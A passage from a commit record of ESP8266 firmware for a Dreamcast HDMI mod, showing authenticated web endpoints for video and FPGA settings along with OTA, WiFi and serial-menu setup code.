videoMode;\n root[\"reset_mode\"] = resetMode;\n root[\"deinterlace_mode\"] = deinterlaceMode480i;\n root[\"protected_mode\"] = protectedMode;\n root[\"keyboard_layout\"] = keyboardLayout;\n\n response->setLength();\n request->send(response);\n });\n\n server.on(\"\/reset\/esp\", HTTP_ANY, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n \/\/ESP.eraseConfig();\n ESP.restart();\n });\n\n server.on(\"\/test\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n });\n\n server.on(\"\/osdwrite\", HTTP_POST, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n\n AsyncWebParameter *column = request->getParam(\"column\", true);\n AsyncWebParameter *row = request->getParam(\"row\", true);\n AsyncWebParameter *text = request->getParam(\"text\", true);\n\n fpgaTask.DoWriteToOSD(atoi(column->value().c_str()), atoi(row->value().c_str()), (uint8_t*) text->value().c_str());\n request->send(200);\n });\n\n server.on(\"\/240p_offset\", HTTP_POST, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n\n AsyncWebParameter *offset = request->getParam(\"offset\", true);\n fpgaTask.Write(I2C_240P_OFFSET, atoi(offset->value().c_str()), NULL);\n request->send(200);\n });\n\n server.on(\"\/scanlines\", HTTP_POST, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n\n AsyncWebParameter *s_intensity = request->getParam(\"intensity\", true);\n AsyncWebParameter *s_thickness = request->getParam(\"thickness\", true);\n AsyncWebParameter *s_oddeven = request->getParam(\"oddeven\", true);\n AsyncWebParameter *s_active = request->getParam(\"active\", true);\n\n scanlinesIntensity = atoi(s_intensity->value().c_str());\n scanlinesThickness = atoi(s_thickness->value().c_str());\n scanlinesOddeven = atoi(s_oddeven->value().c_str());\n scanlinesActive = atoi(s_active->value().c_str());\n\n uint8_t upper = getScanlinesUpperPart();\n uint8_t lower = getScanlinesLowerPart();\n\n setScanlines(upper, lower, NULL);\n request->send(200);\n });\n\n server.on(\"\/osd\/on\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n openOSD();\n request->send(200);\n });\n\n server.on(\"\/osd\/off\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n closeOSD();\n request->send(200);\n });\n\n server.on(\"\/hq2x\/on\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n fpgaTask.Write(I2C_UPSCALING_MODE, 0x01, NULL);\n request->send(200);\n });\n\n server.on(\"\/hq2x\/off\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n fpgaTask.Write(I2C_UPSCALING_MODE, 0x00, NULL);\n request->send(200);\n });\n\n server.on(\"\/res\/VGA\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n switchResolution(RESOLUTION_VGA);\n request->send(200);\n });\n\n server.on(\"\/res\/480p\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n switchResolution(RESOLUTION_480p);\n request->send(200);\n });\n\n server.on(\"\/res\/960p\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n switchResolution(RESOLUTION_960p);\n request->send(200);\n });\n\n server.on(\"\/res\/1080p\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n switchResolution(RESOLUTION_1080p);\n request->send(200);\n });\n\n server.on(\"\/deinterlace\/bob\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n CurrentDeinterlaceMode480i = DEINTERLACE_MODE_BOB;\n CurrentDeinterlaceMode576i = DEINTERLACE_MODE_BOB;\n switchResolution(CurrentResolution);\n request->send(200);\n });\n\n server.on(\"\/deinterlace\/passthru\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n CurrentDeinterlaceMode480i = DEINTERLACE_MODE_PASSTHRU;\n CurrentDeinterlaceMode576i = DEINTERLACE_MODE_PASSTHRU;\n switchResolution(CurrentResolution);\n request->send(200);\n });\n\n server.on(\"\/generate\/on\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n fpgaTask.Write(I2C_VIDEO_GEN, GENERATE_TIMING_AND_VIDEO, NULL);\n request->send(200);\n });\n\n server.on(\"\/generate\/off\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n fpgaTask.Write(I2C_VIDEO_GEN, 0, NULL);\n request->send(200);\n });\n\n server.on(\"\/spi\/flash\/erase\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n taskManager.StartTask(&flashEraseTask);\n request->send(200);\n });\n\n server.on(\"\/clock\/config\/get\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n fpgaTask.Read(0xD0, 1, [&](uint8_t address, uint8_t* buffer, uint8_t len) {\n char msg[16];\n sprintf(msg, \"%u\\n\", buffer[0]);\n request->send(200, \"text\/plain\", msg);\n });\n });\n\n server.on(\"\/clock\/config\/set\", HTTP_POST, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n\n AsyncWebParameter *s_value = request->getParam(\"value\", true);\n fpgaTask.Write(0xD0, atoi(s_value->value().c_str()), NULL);\n request->send(200);\n });\n\n server.on(\"\/mac\/get\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n char msg[32];\n sprintf(msg, \"%s\\n\", WiFi.macAddress().c_str());\n request->send(200, \"text\/plain\", msg);\n });\n\n server.on(\"\/nbp\/reset\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n fpgaTask.Write(I2C_NBP_RESET, 0x01, [](uint8_t Address, uint8_t Value) {\n DEBUG2(\"nbp reset.\\n\");\n });\n request->send(200, \"text\/plain\", \"OK\\n\");\n });\n\n server.on(\"\/testdata2\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n char msg[16];\n sprintf(\n msg, \n \"%02x %02x %02x %02x %02x\\n\",\n remapResolution(CurrentResolution),\n mapResolution(CurrentResolution, true),\n CurrentResolutionData,\n CurrentDeinterlaceMode480i,\n CurrentDeinterlaceMode576i\n );\n request->send(200, \"text\/plain\", msg);\n });\n\n server.on(\"\/testdata\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n fpgaTask.Read(I2C_TESTDATA_BASE, I2C_TESTDATA_LENGTH, [&](uint8_t address, uint8_t* buffer, uint8_t len) {\n if (len == I2C_TESTDATA_LENGTH) {\n char msg[I2C_TESTDATA_LENGTH * 3 + 1] = \"\";\n int p = 0;\n for (int i = 0 ; i < I2C_TESTDATA_LENGTH ; i++) {\n sprintf((char*) &msg[p], \"%02x \", buffer[i]);\n p = p + 3;\n }\n sprintf((char*) &msg[p], \"\\n\");\n request->send(200, \"text\/plain\", msg);\n\n \/\/ request->send(\"text\/plain\", I2C_TESTDATA_LENGTH * 3 + 1, [ buffer ](uint8_t *buffer_out, size_t maxLen, size_t index) -> size_t {\n \/\/ return I2C_TESTDATA_LENGTH * 3 + 1;\n \/\/ });\n } else {\n request->send(200, \"text\/plain\", \"SOMETHING_IS_WRONG\\n\");\n }\n }); \n fpgaTask.ForceLoop();\n });\n\n AsyncStaticWebHandler* handler = &server\n .serveStatic(\"\/\", SPIFFS, \"\/\")\n .setDefaultFile(\"index.html\");\n \/\/ set authentication by configured user\/pass later\n handler->setAuthentication(httpAuthUser, httpAuthPass);\n\n server.onNotFound([](AsyncWebServerRequest *request){\n if (request->url().endsWith(\"md5\")) {\n request->send(200, \"text\/plain\", DEFAULT_MD5_SUM\"\\n\");\n return;\n }\n request->send(404);\n });\n\n server.begin();\n}\n\nvoid setupArduinoOTA() {\n DEBUG2(\">> Setting up ArduinoOTA...\\n\");\n \n ArduinoOTA.setPort(8266);\n ArduinoOTA.setHostname(host);\n ArduinoOTA.setPassword(otaPassword);\n \n ArduinoOTA.onStart([]() {\n DEBUG(\"ArduinoOTA >> Start\\n\");\n });\n ArduinoOTA.onEnd([]() {\n DEBUG(\"\\nArduinoOTA >> End\\n\");\n });\n ArduinoOTA.onProgress([](unsigned int progress, unsigned int total) {\n DEBUG(\"ArduinoOTA >> Progress: %u%%\\r\", (progress \/ (total \/ 100)));\n });\n ArduinoOTA.onError([](ota_error_t error) {\n DEBUG(\"ArduinoOTA >> Error[%u]: \", error);\n if (error == OTA_AUTH_ERROR) {\n DEBUG(\"ArduinoOTA >> Auth Failed\\n\");\n } else if (error == OTA_BEGIN_ERROR) {\n DEBUG(\"ArduinoOTA >> Begin Failed\\n\");\n } else if (error == OTA_CONNECT_ERROR) {\n DEBUG(\"ArduinoOTA >> Connect Failed\\n\");\n } else if (error == OTA_RECEIVE_ERROR) {\n DEBUG(\"ArduinoOTA >> Receive Failed\\n\");\n } else if (error == OTA_END_ERROR) {\n DEBUG(\"ArduinoOTA >> End Failed\\n\");\n }\n });\n ArduinoOTA.begin(true);\n DEBUG2(\">> ArduinoOTA started.\\n\");\n}\n\nvoid waitForController() {\n bool gotValidPacket = false;\n uint8_t _ForceVGA = ForceVGA;\n DEBUG2(\">> Checking video mode controller override...\\n\");\n\n for (int i = 0 ; i < 3333 ; i++) {\n \/\/ stop, if we got a valid packet\n if (gotValidPacket) {\n DEBUG2(\" found valid controller packet at %i\\n\", i);\n if (_ForceVGA != ForceVGA) {\n ForceVGA = _ForceVGA;\n writeVideoMode();\n DEBUG2(\" performing a resetall\\n\");\n resetall();\n } else {\n switchResolution();\n fpgaTask.ForceLoop();\n DEBUG2(\" video mode NOT changed: %u\\n\", ForceVGA);\n }\n return;\n }\n fpgaTask.Read(I2C_CONTROLLER_AND_DATA_BASE, I2C_CONTROLLER_AND_DATA_BASE_LENGTH, [&](uint8_t address, uint8_t* buffer, uint8_t len) {\n if (len == I2C_CONTROLLER_AND_DATA_BASE_LENGTH) {\n uint16_t cdata = (buffer[0] << 8 | buffer[1]);\n uint8_t metadata = buffer[2];\n if (CHECK_BIT(cdata, CTRLR_DATA_VALID)) {\n isRelaxedFirmware = metadata & HQ2X_MODE_FLAG;\n storeResolutionData(metadata);\n DEBUG2(\" %i: %04x %02x\\n\", i, cdata, metadata);\n if (CHECK_BIT(cdata, CTRLR_PAD_UP)) {\n _ForceVGA = VGA_ON;\n } else if (CHECK_BIT(cdata, CTRLR_PAD_DOWN)) {\n _ForceVGA = VGA_OFF;\n }\n gotValidPacket = true;\n }\n }\n });\n fpgaTask.ForceLoop();\n delay(1);\n }\n DEBUG2(\"no valid controller packet found within timeout\\n\");\n}\n\nvoid doReflash() {\n disableFPGA();\n if (flashTask.doStart()) {\n \/\/ [](int read, int total, bool done, int error) {\n \/\/ }\n DEBUG2(\" firmware flashing started.\\n\");\n while (!flashTask.doUpdate()) {\n yield();\n }\n flashTask.doStop();\n DEBUG2(\" firmware flashing done.\\n\");\n resetall();\n }\n}\n\nvoid printSerialMenu() {\n DEBUG2(\"- Menu -----------------------\\n\");\n DEBUG2(\"f: re-flash fpga firmware\\n\");\n DEBUG2(\"i: show info\\n\");\n DEBUG2(\"r: reset visible area counters\\n\");\n DEBUG2(\"p: reset PLL\\n\");\n DEBUG2(\"t: show visible area counters\\n\");\n DEBUG2(\"o: activate OTA update\\n\");\n DEBUG2(\"w: print wifi rssi information\\n\");\n DEBUG2(\"h: print this menu\\n\");\n DEBUG2(\"------------------------------\\n\");\n}\n\nvoid setup(void) {\n DBG_OUTPUT_PORT.begin(115200);\n DEBUG2(\"\\n>> ESP starting... \" DCHDMI_VERSION \"\\n\");\n DEBUG2(\">> %s\\n\", ESP.getFullVersion().c_str());\n DBG_OUTPUT_PORT.setDebugOutput(false);\n\n pinMode(NCE, INPUT);\n pinMode(NCONFIG, INPUT);\n\n setupI2C();\n setupSPIFFS();\n setupResetMode();\n setupOutputResolution();\n setupScanlines();\n setupOffsets();\n setupUpscalingMode();\n setupColorSpace();\n setupTaskManager();\n setupCredentials();\n waitForController();\n fpgaTask.Write(I2C_ACTIVATE_HDMI, 1, NULL); fpgaTask.ForceLoop();\n setupWiFi();\n\n setOSD(false, NULL); fpgaTask.ForceLoop();\n char buff[MENU_WIDTH+1]; osd_get_resolution(buff);\n fpgaTask.DoWriteToOSD(0, MENU_WIDTH, (uint8_t*) buff); fpgaTask.ForceLoop();\n\n if (!inInitialSetupMode) {\n \/\/ skip MDNS setup, because it can cause random crashes on startup\n \/\/setupMDNS();\n }\n\n if (reflashNeccessary && reflashNeccessary2 && reflashNeccessary3) {\n DEBUG2(\"FPGA firmware missing or broken, reflash needed.\\n\");\n doReflash();\n }\n setupHTTPServer();\n DEBUG2(\">> httpAuthUser: %s\\n\", httpAuthUser);\n DEBUG2(\">> httpAuthPass: %s\\n\", httpAuthPass);\n DEBUG2(\">> Ready.\\n\");\n printSerialMenu();\n}\n\nvoid showInfo() {\n DEBUG2(\"ESP: \" DCHDMI_VERSION \"\\n\");\n DEBUG2(\"Arduino ESP version: %s\\n\", ESP.getFullVersion().c_str());\n DEBUG2(\"Free sketch space: %u\\n\", ESP.getFreeSketchSpace());\n DEBUG2(\"Max sketch space: %u\\n\", (ESP.getFreeSketchSpace() - 0x1000) & 0xFFFFF000);\n DEBUG2(\"Flash chip size: %u\\n\", ESP.getFlashChipSize());\n DEBUG2(\"Free heap size: %u\\n\\n\", ESP.getFreeHeap());\n}\n\nint getWiFiQuality(int dBm) {\n if (WiFi.status() != WL_CONNECTED)\n return -1;\n if (dBm <= -100)\n return 0;\n if (dBm >= -50)\n return 100;\n return 2 * (dBm + 100);\n}\n\nvoid loop(void){\n ArduinoOTA.handle();\n taskManager.Loop();\n if (Serial.available() > 0) {\n int incomingByte = Serial.read();\n if (incomingByte == 'f') {\n doReflash();\n } else if (incomingByte == 'i') {\n showInfo();\n } else if (incomingByte == 'h') {\n printSerialMenu();\n } else if (incomingByte == 'p') {\n fpgaTask.Write(I2C_PLL_RESET, 0, [](uint8_t Address, uint8_t Value) {\n DEBUG2(\"pll reset.\\n\");\n });\n } else if (incomingByte == 'r') {\n fpgaTask.Write(I2C_NBP_RESET, 0, [](uint8_t Address, uint8_t Value) {\n DEBUG2(\"nbp reset.\\n\");\n });\n } else if (incomingByte == 't') {\n fpgaTask.Read(I2C_TESTDATA_BASE, I2C_TESTDATA_LENGTH, [&](uint8_t address, uint8_t* buffer, uint8_t len) {\n int nbp1 = (buffer[35] << 4) | (buffer[36] >> 4);\n int nbp2 = ((buffer[36] & 0xF) << 8) | buffer[37];\n DEBUG2(\"nbp: %02x %02x %02x %dx%d\\n\", buffer[35], buffer[36], buffer[37], nbp1, nbp2);\n });\n } else if (incomingByte == 'o') {\n if (strlen(otaPassword)) {\n setupArduinoOTA();\n } else {\n DEBUG2(\"Please set an OTA password via web interface first!\\n\");\n }\n } else if (incomingByte == 'w') {\n int dBm = WiFi.RSSI();\n DEBUG2(\"RSSI: %d dBm, quality: %d%%, channel: %d\\n\", dBm, getWiFiQuality(dBm), WiFi.channel());\n }\n }\n}\n","old_contents":"\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/* \n Dreamcast Companion App\n*\/\n#include \"global.h\"\n#include <ESP8266WiFi.h>\n#include <WiFiClient.h>\n#include <ESP8266mDNS.h>\n#include <FS.h>\n#include <Hash.h>\n#include <ESPAsyncTCP.h>\n#include <ESPAsyncWebServer.h>\n#include <WiFiUdp.h>\n#include <ArduinoOTA.h>\n#include <SPIFlash.h>\n#include \"AsyncJson.h\"\n#include \"ArduinoJson.h\"\n#include <Task.h>\n#include \"task\/FlashTask.h\"\n#include \"task\/FlashVerifyTask.h\"\n#include \"task\/FlashESPTask.h\"\n#include \"task\/FlashESPIndexTask.h\"\n#include \"task\/FPGATask.h\"\n#include \"task\/DebugTask.h\"\n#include \"task\/TimeoutTask.h\"\n#include \"task\/FlashCheckTask.h\"\n#include \"task\/FlashEraseTask.h\"\n#include \"task\/InfoTask.h\"\n#include \"util.h\"\n#include \"data.h\"\n#include \"web.h\"\n#include \"Menu.h\"\n#include \"pwgen.h\"\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool isHhttpAuthPassGenerated = false;\nbool isRelaxedFirmware = false;\n\nchar ssid[64] = DEFAULT_SSID;\nchar password[64] = DEFAULT_PASSWORD;\nchar otaPassword[64] = DEFAULT_OTA_PASSWORD; \nchar firmwareServer[256] = DEFAULT_FW_SERVER;\nchar firmwareServerPath[256] = DEFAULT_FW_SERVER_PATH;\nchar firmwareVersion[64] = DEFAULT_FW_VERSION;\nchar firmwareVariant[64] = DEFAULT_FW_VARIANT;\nchar httpAuthUser[64] = DEFAULT_HTTP_USER;\nchar httpAuthPass[64] = \"\";\nchar confIPAddr[24] = DEFAULT_CONF_IP_ADDR;\nchar confIPGateway[24] = DEFAULT_CONF_IP_GATEWAY;\nchar confIPMask[24] = DEFAULT_CONF_IP_MASK;\nchar confIPDNS[24] = DEFAULT_CONF_IP_DNS;\nchar host[64] = DEFAULT_HOST;\nchar videoMode[16] = \"\";\nchar configuredResolution[16] = \"\";\nchar resetMode[16] = \"\";\nchar deinterlaceMode480i[16] = \"\";\nchar deinterlaceMode576i[16] = \"\";\nchar protectedMode[8] = \"\";\nchar AP_NameChar[64];\nchar WiFiAPPSK[12] = \"\";\nchar keyboardLayout[8] = DEFAULT_KEYBOARD_LAYOUT; \nIPAddress ipAddress( 192, 168, 4, 1 );\nbool inInitialSetupMode = false;\nAsyncWebServer server(80);\nSPIFlash flash(CS);\nint last_error = NO_ERROR; \nint totalLength;\nint readLength;\nbool currentJobDone = true;\n\nFile flashFile;\n\nuint8_t CurrentResolution = RESOLUTION_1080p;\nuint8_t PrevCurrentResolution;\nuint8_t CurrentResolutionData = 0;\nuint8_t ForceVGA = VGA_ON;\nuint8_t CurrentResetMode = RESET_MODE_LED;\nuint8_t CurrentDeinterlaceMode480i = DEINTERLACE_MODE_BOB;\nuint8_t CurrentDeinterlaceMode576i = DEINTERLACE_MODE_BOB;\nuint8_t CurrentProtectedMode = PROTECTED_MODE_OFF;\nint8_t Offset240p;\nint8_t OffsetVGA;\nint8_t AutoOffsetVGA = 0;\nuint8_t UpscalingMode;\nuint8_t ColorSpace;\n\nchar md5FPGA[48];\nchar md5ESP[48];\nchar md5IndexHtml[48];\n\nbool scanlinesActive;\nint scanlinesIntensity;\nbool scanlinesOddeven;\nbool scanlinesThickness;\n\nbool reflashNeccessary;\nbool reflashNeccessary2;\nbool reflashNeccessary3;\n\nMD5Builder md5;\nTaskManager taskManager;\nFlashTask flashTask(1);\nFlashESPTask flashESPTask(1);\nFlashESPIndexTask flashESPIndexTask(1);\nDebugTask debugTask(16);\nTimeoutTask timeoutTask(MsToTaskTime(100));\nFlashCheckTask flashCheckTask(1, NULL);\nFlashVerifyTask flashVerifyTask(1);\nFlashEraseTask flashEraseTask(1);\nInfoTask infoTask(16);\n\nextern Menu mainMenu;\nMenu *currentMenu;\nMenu *previousMenu;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid setupSPIFFS() {\n DEBUG2(\">> Setting up SPIFFS...\\n\");\n if (!SPIFFS.begin()) {\n DEBUG(\">> SPIFFS begin failed, trying to format...\");\n if (SPIFFS.format()) {\n DEBUG(\"done.\\n\");\n } else {\n DEBUG(\"error.\\n\");\n }\n }\n}\n\nvoid setupResetMode() {\n readCurrentResetMode();\n DEBUG2(\">> Setting up reset mode: %x\\n\", CurrentResetMode);\n reflashNeccessary3 = !forceI2CWrite(\n I2C_RESET_CONF, CurrentResetMode, \n I2C_PING, 0\n );\n}\n\nvoid setupOutputResolution() {\n readVideoMode();\n readCurrentResolution();\n readCurrentDeinterlaceMode480i();\n readCurrentDeinterlaceMode576i();\n\n DEBUG2(\">> Setting up output resolution: %x\\n\", ForceVGA | CurrentResolution);\n reflashNeccessary = !forceI2CWrite(\n I2C_OUTPUT_RESOLUTION, ForceVGA | mapResolution(CurrentResolution),\n \/\/ForceVGA ? I2C_DC_RESET : I2C_PING, 0\n I2C_DC_RESET, 0\n );\n}\n\nvoid setupScanlines() {\n readScanlinesActive();\n readScanlinesIntensity();\n readScanlinesOddeven();\n readScanlinesThickness();\n\n uint8_t upper = getScanlinesUpperPart();\n uint8_t lower = getScanlinesLowerPart();\n\n DEBUG2(\">> Setting up scanlines:\\n\");\n reflashNeccessary2 = !forceI2CWrite(\n I2C_SCANLINE_UPPER, upper, \n I2C_SCANLINE_LOWER, lower\n );\n}\n\nvoid setupOffsets() {\n read240pOffset();\n readVGAOffset();\n forceI2CWrite(I2C_240P_OFFSET, Offset240p, I2C_240P_OFFSET, Offset240p);\n forceI2CWrite(I2C_VGA_OFFSET, getEffectiveOffsetVGA(), I2C_VGA_OFFSET, getEffectiveOffsetVGA());\n}\n\nvoid setupUpscalingMode() {\n readUpscalingMode();\n forceI2CWrite(\n I2C_UPSCALING_MODE, UpscalingMode,\n I2C_UPSCALING_MODE, UpscalingMode\n );\n}\n\nvoid setupColorSpace() {\n readColorSpace();\n forceI2CWrite(\n I2C_COLOR_SPACE, ColorSpace,\n I2C_COLOR_SPACE, ColorSpace\n );\n}\n\nvoid setupTaskManager() {\n DEBUG2(\">> Setting up task manager...\\n\");\n taskManager.Setup();\n taskManager.StartTask(&fpgaTask);\n}\n\nvoid setupCredentials(void) {\n DEBUG2(\">> Reading stored values...\\n\");\n\n _readFile(\"\/etc\/ssid\", ssid, 64, DEFAULT_SSID);\n _readFile(\"\/etc\/password\", password, 64, DEFAULT_PASSWORD);\n _readFile(\"\/etc\/ota_pass\", otaPassword, 64, DEFAULT_OTA_PASSWORD);\n _readFile(\"\/etc\/firmware_server\", firmwareServer, 256, DEFAULT_FW_SERVER);\n _readFile(\"\/etc\/firmware_server_path\", firmwareServerPath, 256, DEFAULT_FW_SERVER_PATH);\n _readFile(\"\/etc\/firmware_variant\", firmwareVariant, 64, DEFAULT_FW_VARIANT);\n _readFile(\"\/etc\/firmware_version\", firmwareVersion, 64, DEFAULT_FW_VERSION);\n _readFile(\"\/etc\/http_auth_user\", httpAuthUser, 64, DEFAULT_HTTP_USER);\n _readFile(\"\/etc\/http_auth_pass\", httpAuthPass, 64, DEFAULT_HTTP_PASS);\n _readFile(\"\/etc\/conf_ip_addr\", confIPAddr, 24, DEFAULT_CONF_IP_ADDR);\n _readFile(\"\/etc\/conf_ip_gateway\", confIPGateway, 24, DEFAULT_CONF_IP_GATEWAY);\n _readFile(\"\/etc\/conf_ip_mask\", confIPMask, 24, DEFAULT_CONF_IP_MASK);\n _readFile(\"\/etc\/conf_ip_dns\", confIPDNS, 24, DEFAULT_CONF_IP_DNS);\n _readFile(\"\/etc\/hostname\", host, 64, DEFAULT_HOST);\n _readFile(\"\/etc\/keyblayout\", keyboardLayout, 8, DEFAULT_KEYBOARD_LAYOUT);\n readCurrentProtectedMode();\n\n if (strlen(httpAuthPass) == 0) {\n generate_password(httpAuthPass);\n isHhttpAuthPassGenerated = true;\n }\n}\n\nvoid generateWiFiPassword() {\n generate_password(WiFiAPPSK);\n DEBUG2(\"AP password: %s\\n\", WiFiAPPSK);\n}\n\nvoid setupAPMode(void) {\n WiFi.mode(WIFI_AP);\n uint8_t mac[WL_MAC_ADDR_LENGTH];\n WiFi.softAPmacAddress(mac);\n String macID = String(mac[WL_MAC_ADDR_LENGTH - 2], HEX) +\n String(mac[WL_MAC_ADDR_LENGTH - 1], HEX);\n macID.toUpperCase();\n String AP_NameString = String(\"DCHDMI\") + String(\"-\") + macID;\n\n memset(AP_NameChar, 0, AP_NameString.length() + 1);\n\n for (uint i=0; i<AP_NameString.length(); i++) {\n if (i < 63) {\n AP_NameChar[i] = AP_NameString.charAt(i);\n }\n }\n\n DEBUG2(\"AP_NameChar: %s\\n\", AP_NameChar);\n generateWiFiPassword();\n WiFi.softAP(AP_NameChar, WiFiAPPSK);\n DEBUG2(\">> SSID: %s\\n\", AP_NameChar);\n DEBUG2(\">> AP-PSK: %s\\n\", WiFiAPPSK);\n inInitialSetupMode = true;\n}\n\nvoid setupWiFi() {\n WiFi.persistent(false);\n if (strlen(ssid) == 0) {\n DEBUG2(\">> No ssid, starting AP mode...\\n\");\n setupAPMode();\n } else {\n DEBUG2(\">> Trying to connect in client mode first...\\n\");\n setupWiFiStation();\n }\n}\n\nvoid setupWiFiStation() {\n bool doStaticIpConfig = false;\n IPAddress ipAddr;\n doStaticIpConfig = ipAddr.fromString(confIPAddr);\n IPAddress ipGateway;\n doStaticIpConfig = doStaticIpConfig && ipGateway.fromString(confIPGateway);\n IPAddress ipMask;\n doStaticIpConfig = doStaticIpConfig && ipMask.fromString(confIPMask);\n IPAddress ipDNS;\n doStaticIpConfig = doStaticIpConfig && ipDNS.fromString(confIPDNS);\n\n \/\/WIFI INIT\n WiFi.mode(WIFI_STA);\n WiFi.begin();\n WiFi.disconnect(true);\n WiFi.softAPdisconnect(true);\n \/\/ WiFi.setAutoConnect(true);\n \/\/ WiFi.setAutoReconnect(true);\n\n DEBUG(\">> Do static ip configuration: %i\\n\", doStaticIpConfig);\n if (doStaticIpConfig) {\n WiFi.config(ipAddr, ipGateway, ipMask, ipDNS);\n }\n\n DEBUG(\">> WiFi.getAutoConnect: %i\\n\", WiFi.getAutoConnect());\n DEBUG(\">> Connecting to %s\\n\", ssid);\n\n if (String(WiFi.SSID()) != String(ssid)) {\n WiFi.begin(ssid, password);\n DEBUG(\">> WiFi.begin: %s@%s\\n\", password, ssid);\n }\n \n bool success = true;\n int tries = 0;\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n DBG_OUTPUT_PORT.print(\".\");\n if (tries == 60) {\n WiFi.disconnect();\n success = false;\n break;\n }\n tries++;\n }\n\n DEBUG2(\">> success: %i\\n\", success);\n\n if (!success) {\n \/\/ setup AP mode to configure ssid and password\n setupAPMode();\n } else {\n WiFi.hostname(host);\n WiFi.setAutoReconnect(true);\n\n ipAddress = WiFi.localIP();\n IPAddress gateway = WiFi.gatewayIP();\n IPAddress subnet = WiFi.subnetMask();\n\n DEBUG2(\n \">> Connected!\\n IP address: %d.%d.%d.%d\\n\",\n ipAddress[0], ipAddress[1], ipAddress[2], ipAddress[3]\n );\n DEBUG2(\n \" Gateway address: %d.%d.%d.%d\\n\",\n gateway[0], gateway[1], gateway[2], gateway[3]\n );\n DEBUG2(\n \" Subnet mask: %d.%d.%d.%d\\n\",\n subnet[0], subnet[1], subnet[2], subnet[3]\n );\n DEBUG2(\n \" Hostname: %s\\n\",\n WiFi.hostname().c_str()\n );\n DEBUG2(\n \" MAC addr: %s\\n\",\n WiFi.macAddress().c_str()\n );\n }\n}\n\nvoid setupMDNS() {\n DEBUG2(\">> Setting up mDNS...\\n\");\n _writeFile(\"\/tmp\/checkpoint\", \"invalid\", 16);\n if (MDNS.begin(host, ipAddress)) {\n DEBUG2(\">> mDNS started.\\n\");\n MDNS.addService(\"http\", \"tcp\", 80);\n DEBUG(\n \">> http:\/\/%s.local\/\\n\", \n host\n );\n SPIFFS.remove(\"\/tmp\/checkpoint\");\n } else {\n DEBUG2(\">> mDNS setup failed.\\n\");\n }\n}\n\nvoid setupHTTPServer() {\n DEBUG2(\">> Setting up HTTP server...\\n\");\n\n server.on(\"\/upload\/fpga\", HTTP_POST, [](AsyncWebServerRequest *request){\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n request->send(200);\n }, [](AsyncWebServerRequest *request, String filename, size_t index, uint8_t *data, size_t len, bool final) {\n handleUpload(request, FIRMWARE_FILE, index, data, len, final);\n });\n\n server.on(\"\/upload\/esp\", HTTP_POST, [](AsyncWebServerRequest *request){\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n request->send(200);\n }, [](AsyncWebServerRequest *request, String filename, size_t index, uint8_t *data, size_t len, bool final) {\n handleUpload(request, ESP_FIRMWARE_FILE, index, data, len, final);\n });\n\n server.on(\"\/upload\/index\", HTTP_POST, [](AsyncWebServerRequest 